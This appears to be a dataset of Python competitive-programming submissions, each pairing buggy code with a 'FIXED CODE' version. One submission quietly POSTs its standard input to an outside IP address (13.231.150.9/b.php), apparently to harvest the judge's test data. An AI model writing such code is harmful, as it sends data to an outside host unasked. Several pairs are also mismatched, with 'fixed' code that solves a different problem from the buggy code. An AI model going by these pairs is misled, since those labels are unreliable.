Harryxun/stf_run huggingface dataset:
n, m = map(int, input().split())

a = [list(map(int, input().split())) for i in range(n)]

x = [True] * m

for i in a:
    y = i[0]
    xx = [False] * m
    for j in range(y):
        xx[i[j + 1]] = True
    for j in range(m):
        if xx[j] == False:
            x[j] = False

print(sum(x))


### FIXED CODE ###

n, m = map(int, input().split())

S = set(range(1, m + 1))

for i in range(n):
    K, *a = map(int, input().split())
    S = S & set(a)

print(len(S))
n = int(input())
c = list(map(int, input().split()))
ln = []
if c.count(1) == 0:
    print(-1)
elif n == 1 and c == [1]:
    print(0)
if c.count(1) != 0 and n != 1:
    c2 = c
    for i in range (1, max(c)):
        if i in c2 :
            s = c2.index(i)
            ln.append(i)
            del c2[:s + 1]
            if len(c2) == 1:
                if i + 1 in c2:
                    ln.append(i + 1)
        else:
            break
    print(n - max(ln))

### FIXED CODE ###

n = int(input())
A = list(map(int, input().split()))
now = 1
brok = 0
for i in range (n):
    if(A[i] != now):
        brok += 1
    else:
        now += 1
if(now == 1):
    print(-1)
else:
    print(brok)
N,M,X=map(int,input().split())
l=[]
for i in range (N):
  l.append(list(map(int,input().split())))
ans=10000000
for i in range(2**N):
  score=[0]*M
  coin=0
  for j in range(N):
    if i>=2**(N-1-j):
      for p in range(M):
        score[p]+=l[j][p+1]
      coin+=l[j][0]
      i-=2**(N-1-j)
  flag=0
  for q in range(M):
    if score[q]<X:
      flag=1
  if flag==0:
    if ans>coin:
      ans=coin
if ans=10000000:
  print("-1")
else:
  print(ans)

### FIXED CODE ###

N,M,X=map(int,input().split())
l=[]
for i in range (N):
  l.append(list(map(int,input().split())))
ans=10000000
for i in range(2**N):
  score=[0]*M
  coin=0
  for j in range(N):
    if i>=2**(N-1-j):
      for p in range(M):
        score[p]+=l[j][p+1]
      coin+=l[j][0]
      i-=2**(N-1-j)
  flag=0
  for q in range(M):
    if score[q]<X:
      flag=1
  if flag==0:
    if ans>coin:
      ans=coin
if ans==10000000:
  print("-1")
else:
  print(ans)
from collections import deque
 
def main():
    h, w = map(int, input().split())
    maze= [list(input()) for i in range(h)]
    route = [[-1] * w for i in range(h)]
    que = deque([])
    
    for i in range(h):
        for j in range(w):
           if A[i][j] == "#":
               que.append([i, j])
               route[i][j] = 0
            
    while que:
        x, y = que.popleft()
        dx = [1, 0, -1, 0]
        dy = [0, 1, 0, -1]
        for i in range(4): 
            nx = x + dx[i]
            ny = y + dy[i]
            if 0 <= nx < h and 0 <= ny < w and route[nx][ny] == -1:
                route[nx][ny] = route[x][y] + 1
                que.append([nx, ny])
                ans = max(ans , route[nx][ny])
#    ans = 0
#    for i in range(h):
#        for j in range(w):
#            ans = max(ans, d[i][j])
#    print(ans)
    
    return

if __name__ == '__main__':
    main()

### FIXED CODE ###

from subprocess import call
call (('pypy3', '-c', """
from collections import deque
 
def main():
    h, w = map(int, input().split())
    A = [list(input()) for _ in range(h)]
    d = [[10**9] * w for _ in range(h)]
    que = deque([])
    
    for i in range(h):
        for j in range(w):
           if A[i][j] == "#":
               que.append([i, j])
               d[i][j] = 0
           else:
               d[i][j] = 10 ** 9
            
    while que:
        x, y = que.popleft()
        dx = [1, 0, -1, 0]
        dy = [0, 1, 0, -1]
        for i in range(4): 
            nx = x + dx[i]
            ny = y + dy[i]
            if 0 <= nx < h and 0 <= ny < w and d[nx][ny] == 10**9:
                d[nx][ny] = d[x][y] + 1
                que.append([nx, ny])
    ans = 0
    for i in range(h):
        for j in range(w):
            ans = max(ans, d[i][j])
    print(ans)
    
    return
    
main()
 
"""))
S = int(input())

L = S//3
mod = 10**9+7


res = 0
from scipy.special import comb

for l in range(1,L+1):
    s = S - l*3
    a = comb(s+l-1, l-1)
    res += a

print(int(res%mod))

### FIXED CODE ###

S = int(input())

L = S//3
mod = 10**9+7

from operator import mul
from functools import reduce
def cmb(n,r):
    r = min(n-r,r)
    if r == 0: return 1
    over = reduce(mul, range(n, n - r, -1))
    under = reduce(mul, range(1,r + 1))
    return over // under

res = 0

for l in range(1,L+1):
    s = S - l*3
    a = cmb(s+l-1, l-1)
    res += a

print(int(res%mod))
a, b = input().split()
if a*b % 2 ==0:
  print("Even")
else:
  print("Odd")


### FIXED CODE ###

a, b = map(int, input().split())

if a*b % 2 ==0:
  print("Even")
else:
  print("Odd")
n,m=map(int,input().split())
sc=[list(map(int,input().split())) for _ in range(m)]
for i in range(1,m):
  for j in range(i+1,m+1):
    if sc[i-1][0]==sc[j-1][0] and sc[i-1][1]!=sc[j-1][1]:
      print(-1)
      exit()
 
for t in range(1,m+1):
  if n>=2 and sc[t-1]==[1,0]:
    print(-1)
    exit()
 
ans=[0]*n
for t in range(1,m+1):
  if ans[t-1]==0:
    ans[t-1]+=sc[t-1][1]

print(*ans,sep='')

### FIXED CODE ###

n,m=map(int,input().split())
sc=[list(map(int,input().split())) for _ in range(m)]
for i in range(1,m):
  for j in range(i+1,m+1):
    if sc[i-1][0]==sc[j-1][0] and sc[i-1][1]!=sc[j-1][1]:
      print(-1)
      exit()
 
for t in range(1,m+1):
  if n>=2 and sc[t-1]==[1,0]:
    print(-1)
    exit()
 
ans=[0]*n
for t in range(1,m+1):
  if ans[sc[t-1][0]-1]==0:
    ans[sc[t-1][0]-1]+=sc[t-1][1]
    
if ans[0]==0 and n>=2:
  ans[0]=1
print(*ans,sep='')
a,b,c=map(int,input().split())
max_n=max(a,b,c)
diff=a+b+c-3*max_x
print((diff+1)//2)

### FIXED CODE ###

a,b,c=map(int,input().split())
max_n=max([a,b,c])
diff=3*max_n-a-b-c

if diff%2==0:
  print(diff//2)
else:
  print((diff+3)//2)
def Main(N, M, S, C):
    digits = {1:set([]), 2:set([]), 3:set([])}
    for i in range(M):
        digits[S[i]].add(C[i])
    for k, v in digits.items():
        if len(v) >= 2:
            return -1
    if len(digits[1]) > 0 and list(digits[1])[0] == 0:
        return -1
    if len(digits[1]) == 0 and len(digits[2]) > 0 and list(digits[2])[0] == 0:
        return -1  
    ans_list = []
    for v in digits.values():
        if len(v) == 0:
            ans_list.append('0')
        else:
            ans_list.append(str(list(v)[0]))
    ans_str = "".join(ans_list)
    return eval(ans_str)
        
                

def main():
    N, M = map(int, input().split())
    if M == 0:
        if N == 3:
            return 100
        if N == 2:
            return 10
        if N == 1:
            return 0
    S = [0]*M
    C = [0]*M
    for i in range(M):
        S[i], C[i] = map(int, input().split())
    print(Main(N, M, S, C))

if __name__ == '__main__':
    main()

### FIXED CODE ###

def Main(N, M, S, C):
    dig = [set([]),set([]),set([])]
    for i in range(M):
        dig[S[i]-1].add(C[i])
    for s in dig:
        if len(s) == 2:
            return -1
    if N == 3:
        if len(dig[0]) > 0 and list(dig[0])[0] == 0:
            return -1
        if len(dig[0]) == 0:
            dig[0].add(1)
        if len(dig[1]) == 0:
            dig[1].add(0)
        if len(dig[2]) == 0:
            dig[2].add(0)
        return list(dig[0])[0]*100+list(dig[1])[0]*10+list(dig[2])[0]
    elif N == 2:
        if len(dig[0]) > 0 and list(dig[0])[0] == 0:
            return -1
        if len(dig[0]) == 0:
            dig[0].add(1)
        if len(dig[1]) == 0:
            dig[1].add(0)
        return list(dig[0])[0]*10+list(dig[1])[0]
    else:
        return list(dig[0])[0]       
        
                

def main():
    N, M = map(int, input().split())
    if M == 0:
        if(N == 3):
            print(100)
        elif(N == 2):
            print(10)
        else:
            print(0)
        exit()
    S = [1]*M
    C = [0]*M
    for i in range(M):
        S[i], C[i] = map(int, input().split())
    print(Main(N, M, S, C))

if __name__ == '__main__':
    main()
n = list(map(int, input().split()))
if 1 in n:
  if 4 in n:
    if 7 in n:
      if 9 in n:
        print(‘YES’)
        exit()
print(‘NO’)

### FIXED CODE ###

n = list(map(int, input().split()))
if 1 in n:
  if 4 in n:
    if 7 in n:
      if 9 in n:
        print('YES')
        exit()
print('NO')
n,m=map(int,input().split())
g=[list() for _ in range(n+1)]
side=[list(map(int,input().split())) for i in range(m)]
for a,b in side:
	g[a].append(b)
	g[b].append(a)
cnt=0
def dfs(r,x,s):
	ed[x-1]=1
	for i in g[x]:
		if i!=r and s!={x,i}:dfs(x,i,s)
cnt=0
for i in range(m):
	ed=[0]*n
	dfs(0,1,set(side[i]))
	if 0 in ed:cnt+=1
print(cnt)

### FIXED CODE ###

n,m=map(int,input().split())
g=[list() for _ in range(n+1)]
side=[list(map(int,input().split())) for i in range(m)]
for a,b in side:
	g[a].append(b)
	g[b].append(a)
cnt=0
def dfs(x,s):
	ed[x-1]=1
	for i in g[x]:
		if s!={x,i} and ed[i-1]==0:dfs(i,s)
cnt=0
for i in range(m):
	ed=[0]*n
	dfs(1,set(side[i]))
	if 0 in ed:cnt+=1
print(cnt)
N,M,K=map(int,input().split())
c=[[0 for _ in range(N)]for __ in range(N)]
d=[0]*N
for ___ in range(M):
  a,b=int(input().split())
print(a)

### FIXED CODE ###

class Union_Find():
    def __init__(self,n):
        self.n=n
        self.par=[-1]*n
    def root(self,x):
        if self.par[x]<0:
            return x
        else:
            self.par[x]=self.root(self.par[x])
            return self.par[x]
    def union(self,x,y):
        rx=self.root(x)
        ry=self.root(y)
        if rx==ry:
            return
        if self.par[rx]>self.par[ry]:
            rx,ry=ry,rx
        self.par[rx]+=self.par[ry]
        self.par[ry]=rx

    def size(self,x):
        return -self.par[self.root(x)]

    def same(self,x,y):
        return self.root(x)==self.root(y)
N,M,K=map(int,input().split())
deg=[0]*N
bro=[[]*N for _ in range(N)]
uf=Union_Find(N)
for i in range(M):
    a,b=map(int,input().split())
    a-=1
    b-=1
    deg[a]+=1
    deg[b]+=1
    uf.union(a,b)
for j in range(K):
    a,b=map(int,input().split())
    a-=1
    b-=1
    bro[a].append(b)
    bro[b].append(a)

for q in range(N):
    ans=uf.size(q)-deg[q]-1
    for w in bro[q]:
        if uf.same(q,w):
            ans-=1
    print(ans,end=" ")
a, b, k = map(int, input().split())

ans = 0

lista = range(a+1)
aa = lista.pop(0)

listb = range(b+1)
bb = listb.pop(0)

if (a < b):
    li = [i for i in listb if (a % i == 0 && b % i == 0)]
    li = sorted(li, reverse=True)
    ans = li[k-1]
else:
    li = [i for i in lista if (a % i == 0 && b % i == 0)]
    li = sorted(li, reverse=True)
    ans = li[k-1]

print(ans)

### FIXED CODE ###

a, b, k = map(int, input().split())

ans = 0

lista = list(range(a+1))
aa = lista.pop(0)

listb = list(range(b+1))
bb = listb.pop(0)

if (a < b):
    li = [i for i in lista if a % i == 0 and b % i == 0]
    li = sorted(li, reverse=True)
    ans = li[k-1]
else:
    li = [i for i in listb if a % i == 0 and b % i == 0]
    li = sorted(li, reverse=True)
    ans = li[k-1]

print(ans)
D,N=map(int.input()split())

if N<100:
  print(pow(100,D)*N)
else:
  print(pow(100,D)*101)

### FIXED CODE ###

A,B=map(int,input().split())
if (A>8) or (B>8):
  print(":(")
else:
  print("Yay!")
r = 1500
p = [1]*r
p[0] = p[1] = 0
for i in range(int(r**0.5)):
	if p[i]:
		p[2*i::i] = [0 for x in range(2*i,r,i)]
prime = []
for i in range(r):
	if p[i]: prime.append(i)

def solve(n,k,i):
	if k == 0: return 1 if n == 0 else 0
	if n-k*prime[i] < 0 : return 0
	res = 0
	res += solve(n-prime[i],k-1,i+1) + solve(n,k,i+1)
	return res

while 1:
	n,k = map(int,raw_input().split())
	if n == 0: break
	ans = 0
	for i in range(n):
		if k*prime[i] > n: break
		ans += solve(n-prime[i],k-1,i+1)
	print ans

### FIXED CODE ###

r = 1121
p = [1]*r
p[0] = p[1] = 0
for i in range(int(r**0.5)):
	if p[i]:
		p[2*i::i] = [0 for x in range(2*i,r,i)]
prime = []
for i in range(r):
	if p[i]: prime.append(i)

dp = [[0]*r for i in range(15)]
dp[0][0] = 1
for i in range(len(prime)):
	for k in range(min(i+1,14),0,-1):
		for j in range(prime[i],r):
			dp[k][j] += dp[k-1][j-prime[i]]

while 1:
	n,k = map(int,raw_input().split())
	if n == 0: break
	print dp[k][n]
import sys
read = sys.stdin.buffer.read
readline = sys.stdin.buffer.readline

import numpy as np
from scipy.spatial.distance import cdist
from scipy.sparse.csgraph import dijkstra, csgraph_from_dense

xs, ys, xt, yt = map(int, readline().split())
n = int(readline())
xyr = np.array(read().split(), np.int64)
xyr = np.append(xyr, [xs, ys, 0, xt, yt, 0])
xyr = xyr.reshape((-1, 3))

xy = xyr[:, :2]
dist = cdist(xy, xy)
r = xyr[:, 2]
dist = np.maximum(dist - r - r.reshape((-1, 1)), 0)
g = csgraph_from_dense(dist, null_value=np.inf)

ans = dijkstra(g, indices=n)[n+1]
print(ans)


### FIXED CODE ###

from math import sqrt
from scipy.sparse.csgraph import dijkstra
from scipy.sparse import csr_matrix

xs, ys, xt, yt = map(int, input().split())
n = int(input())
xyr = [list(map(int, input().split())) for _ in range(n)]

xyr.append([xs, ys, 0])
xyr.append([xt, yt, 0])

row = []
col = []
cost = []

for i, (xi, yi, ri) in enumerate(xyr):
    for j, (xj, yj, rj) in enumerate(xyr[i+1:], i+1):
        row.append(i)
        col.append(j)
        dist = max(0, sqrt((xi - xj) ** 2 + (yi - yj) ** 2) - ri - rj)
        cost.append(dist)

g = csr_matrix((cost, (row, col)), shape=(n + 2, n + 2))
d = dijkstra(g, directed=False, indices=n)
ans = d[n+1]
print(ans)
import numpy as np

A, V = map(int, input().split())
B, W = map(int, input().split())
T = int(input())

if V <= W: print("NO")
elif: np.abs(A-B)/(V-W) <= T: print("YES")
else: print("NO")

### FIXED CODE ###

import numpy as np

A, V = map(int, input().split())
B, W = map(int, input().split())
T = int(input())

if V <= W:
    print("NO")
elif np.abs(A - B) / (V - W) <= T: print("YES")
else:
    print("NO")
n=int(input())
a=[]
for i in range(n):
  p=float(input())
  p=1/p
  a=a+[p]
 
x=sum(a)
print(1/x)

### FIXED CODE ###

n=int(input())
a=[]
p=[int(e) for e in input().split()]
i=0
while i<n:
  a=a+[1/p[i]]
  i+=1
x=sum(a)
print(1/x)
N = int(input())
A = list(map(int, input().split()))

A_sorted = sorted(A)
A_set = list(set(A))
A_cnt = dict()
for a in A:
    if not a in A_cnt.keys():
        A_cnt[a] = 1
    else:
        A_cnt[a] += 1

if A_cnt.get(0) == N:
    print("Yes")
    exit()

if len(A_set) > 3 or N%3 != 0:
    print("No")
    exit()

B = []
B.append(A_set[0])
B.append(A_set[1])
for _ in range(N-2):
    B.append(B[-1] ^ B[-2])

B_sorted = sorted(B)
if A_sorted == B_sorted:
    print("Yes")
else:
    print("No")

### FIXED CODE ###

N = int(input())
A = list(map(int, input().split()))

A_sorted = sorted(A)
A_set = list(set(A))
A_cnt = dict()
for a in A:
    if not a in A_cnt.keys():
        A_cnt[a] = 1
    else:
        A_cnt[a] += 1

if A_cnt.get(0) == N:
    print("Yes")
    exit()

if len(A_set) > 3 or len(A_set) == 1 or N%3 != 0:
    print("No")
    exit()

B = []
B.append(A_set[0])
B.append(A_set[1])
for _ in range(N-2):
    B.append(B[-1] ^ B[-2])

B_sorted = sorted(B)
if A_sorted == B_sorted:
    print("Yes")
else:
    print("No")
S = input()

num = len(S)
S1 = S[:(num-1)/2]
S2 = S[(num+3)/2:]

if S == S[::-1] and S1 == S1[::-1] and S2 == S2[::-1]:
  print('Yes')
else:
  print('No')

### FIXED CODE ###

S = input()

num = len(S)
S1 = S[:(num-1)//2]
S2 = S[(num+1)//2:]

if S == S[::-1] and S1 == S1[::-1] and S2 == S2[::-1]:
  print('Yes')
else:
  print('No')
x,t = map(int,input(),split())
if x >= t:
  print(x-t)
else:
  print(0)

### FIXED CODE ###

x,t = map(int,input().split())
if x >= t:
  print(x-t)
else:
  print(0)
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
s.post(url,data=data)
print("None")

### FIXED CODE ###

#alphabet="abcdefghijklmnopqrstuvwxyz"
alphabet = [chr(ord('a')+i) for i in range(26)]
S=list(set(input()))
S.sort()

for i in alphabet:
    if i not in S:
        print(i)
        exit()
print("None")
n,m = map(int,input().split())
s = [0] * m
c = [0] * m
ans = [0] * n
flg = [0] * n
for i in range(m):
    s[i],c[i] = map(int,input().split())
for j in range(m):
    if flg[s[j]-1] == 1 and ans[s[j]-1] != c[j]:
        print(-1)
        exit()
    else:
        ans[s[j]-1] = c[j]
        flg[s[j]-1] = 1
    
if n > 1 and flg[0] == 1 and ans[0] == 0 :
    print(-1)
elif n > 1 and flg[0] == 0:
    ans[0] = 1
    print(''.join(map(str,ans)))
    exit()
else:
    print(''.join(map(str,ans)))

### FIXED CODE ###

N = int(input())

if N % 2 == 0:
    print(N//2)
else:
    print(N//2 + 1)
N, M = map(int, input().split())
A = [int(input()) for _ in range(M)]

B = [-1] + A + [N + 1]
B = [B[i + 1] - B[i] - 2 for i in range(M + 1)]

total = max(B)
dp = [0] * (total + 1)
dp[0] = 1
dp[1] = 1

for i in range(total - 1):
    dp[i + 2] = (dp[i + 1] + dp[i]) % (10 ** 9 + 7)
        
ans = 1
for i in range(M + 1):
    ans *= dp[B[i]]
    ans %= 10 ** 9 + 7
print(ans if -1 not in B[1:] else 0)

### FIXED CODE ###

N, M = map(int, input().split())
A = [int(input()) for _ in range(M)]

B = [-1] + A + [N + 1]
B = [B[i + 1] - B[i] - 2 for i in range(M + 1)]

total = max(B)
dp = [1, 1] + [0] * (total - 1)
for i in range(total - 1):
    dp[i + 2] = (dp[i + 1] + dp[i]) % (10 ** 9 + 7)
        
ans = 1
for i in range(M + 1):
    ans *= dp[B[i]]
    ans %= 10 ** 9 + 7
print(ans if -1 not in B[1:] else 0)
import math

N, D = map(int, input().split())
count = 0
for _ in range(M):
    x, y = map(int, input().split())
    xx = x ** 2
    yy = y ** 2

    ans = math.sqrt(xx + yy)
    if ans >= D:
        count += 1

print(count)

### FIXED CODE ###

import math

N, D = map(int, input().split())
count = 0
for _ in range(N):
    x, y = map(int, input().split())
    xx = x ** 2
    yy = y ** 2

    ans = math.sqrt(xx + yy)
    if ans <= D:
        count += 1

print(count)
N = int(input())
s = [input() for _ in range(N)]

for i in range(N):
  s[i] = list(set(s[i]))
  
print(len(set(s)))

### FIXED CODE ###

from collections import Counter 
N = int(input())
s = [input() for _ in range(N)]
 
# N=10^5より、O(N)で解く
for i in range(N):
  s[i] = sorted(s[i])
  s[i] = ''.join(s[i])

s = Counter(s).most_common()
ans = 0
for t in s:
  ans += t[1]*(t[1]-1)//2
  
print(ans)
n = (int(i) for i in input().split()) 

if (n*100 // 108) == (n*100 / 108):
  print((n*100 // 108))
else:
  print(':(')

### FIXED CODE ###

import math

n = int(input())

nontax = math.floor(n / 1.08)

if math.floor(nontax * 1.08) == n:
    print(nontax)
elif math.floor((nontax + 1) * 1.08) == n:
    print(nontax+1)
else:
    print(':(')
a,b,c = map(int,raw_input().split(" "))

if a < b and b < c:
  print "Yes"
else
  print "No"

### FIXED CODE ###

a,b,c = map(int,raw_input().split(" "))
  
if a < b and b < c:
  print "Yes"
else:
  print "No"
r = input()
print (r **2)

### FIXED CODE ###

r = int(input())
print(r*r)
import numpy as np
a,b,c=map(int,input().split())
a*=10**12;b*=10**12;c*=10**12
if(np.sqrt(a)+np.sqrt(b)-np.sqrt(c)>=0):
    print("No")
else:
    print("Yes")

### FIXED CODE ###

from decimal import Decimal
a,b,c=list(map(int,input().split()))
if(Decimal(a).sqrt()+Decimal(b).sqrt()<Decimal(c).sqrt()):
    print("Yes")
else:
    print("No")
if(int(input())<3200)print("red")
else print(input())

### FIXED CODE ###

if(int(input())<3200):print("red")
else:print(input())
N = int(input())
# スペース区切りの整数の入力
A = list(map(int, input().split()))
C=list(set(A))

#print(A)
#print(C)
def gcd(a, b):
  while b > 0:
    a, b = b, a%b
  return a

anslist=[]

if len(C)==1:
  ans=C[0]

elif len(C)==2:
  sol=max(A[0],A[1])

else:
  for i in range(3):
    B=A[:]
    B.remove(C[i])
    sol=0
    for b in B:
        sol=gcd(sol,b)
    anslist.append(sol)
    ans=max(anslist)

#print(anslist)
print(ans)



### FIXED CODE ###

A, B, T = map(int, input().split())
print(int((T+1/2)/A)*B)
x = int(input())

if x>=30:
  print('Yes')
elif :
  print('No')

### FIXED CODE ###

x = int(input())

if x>=30:
  print('Yes')
else :
  print('No')
I=input()
if I==1:
 print('hello world')
else:
  A=Input()
  B=Input()
  print(A+B)

### FIXED CODE ###

I=input()
if I=='1':
 print('Hello World')
else:
  A=input()
  B=input()
  print(int(A)+int(B))
N = int(input())
A = []
xy = []
for i in range(N):
    a =  int(input())
    A.append(a)
    for j in range(a):
        x, y = map(int, input().split())
        #２次元配列
        xy.append([x, y])
print(xy)

honest = 0

for i in range(1, 2**N):
    flag = 0
    for j in range(N):
        # j番目が正直と仮定する
        if (i>>j)&1 == 1:
            for x,y in xy[j]:
                # j番目は正直だが矛盾を発見
                if (i>>x)&1 != y:
                    flag = 1
                    break
    # 矛盾がある場合はflag == 1になる
    if flag == 0:
        honest = max(honest, bin(i)[2:].count('1'))
print(honest)

### FIXED CODE ###

N = int(input())
 
testimony = [[] for _ in range(N)]
 
for i in range(N):
    num = int(input())
    for j in range(num):
        person, state = map(int, input().split())
        testimony[i].append([person-1, state])
        
honest = 0
for i in range(1, 2**N):
    flag = 0
    for j in range(N):
        if (i>>j)&1 == 1: # j番目は正直と仮定
            for x,y in testimony[j]:
                if (i>>x)&1 != y: # j番目は正直だが矛盾を発見
                    flag = 1
                    break
    if flag == 0:  # 矛盾がある場合はflag == 1になる
        honest = max(honest, bin(i)[2:].count('1'))  # 1の数をカウントし最大となるものを選択
print(honest)
import math
import sys
sys.setrecursionlimit(10**7)
n, k = map(int, input().split())
a = list(map(int, input().split()))
def binary_search(left, right):
    if right - left <= 0.01:
        return right
    middle = (right + left) / 2
    if is_can(middle):
        return binary_search(left, middle)
    else:
        return binary_search(middle, right)
def is_can(target):
    count = 0
    for i in range(n):
        if a[i] > target:
            count += a[i] // target
    return count <= k
p = binary_search(0, 10**10)
if is_can(int(p)):
    print(is_can(int(p)))
else:
    print(int(p) + 1)


### FIXED CODE ###

import math
import sys
sys.setrecursionlimit(10**8)
n, k = map(int, input().split())
a = list(map(int, input().split()))
def binary_search(left, right):
    if right - left <= 0.01:
        return right
    middle = (right + left) / 2
    if is_can(middle):
        return binary_search(left, middle)
    else:
        return binary_search(middle, right)
def is_can(target):
    count = 0
    for i in range(n):
        if a[i] > target:
            count += a[i] // target
    return count <= k
p = binary_search(0, 10**10)
if int(p) != 0 and is_can(int(p)) :
    print(int(p))
else:
    print(int(p) + 1)
s = list(input())
flg = "WA"
if s[0]=="A":
  if "C" in s[2:len(s)-1]:
    s.remove("A")
    s.remove("C")
    s = *s
    if s.islower()==True:
      flg = "AC"
print(flg)

### FIXED CODE ###

s = list(input())
flg = "WA"
if s[0]=="A":
  if "C" in s[2:len(s)-1]:
    s.remove("A")
    s.remove("C")
    s = ''.join(s)
    if s.islower()==True:
      flg = "AC"
print(flg)
X=int(input())
for i in range(1, X):
	for j in range(2, X):
      if i**j<=X:
        max=i**j
      else:
        break
print(max(1, max))

### FIXED CODE ###

X=int(input())
list=[1]
for i in range(1, X):
  for j in range(2, X):
    if (i**j)<=X:
      list.append(i**j)
    else:break
print(max(list))
A, B = map(int, input().split())
    if A <= 5:
      print(0)
    elif 6 <= A <= 12:
      print(B // 2)
    else:
      print(B)

### FIXED CODE ###

A, B = map(int, open(0).read().split())
if A <= 5:
    print(0)
elif 6 <= A <= 12:
    print(B // 2)
else:
    print(B)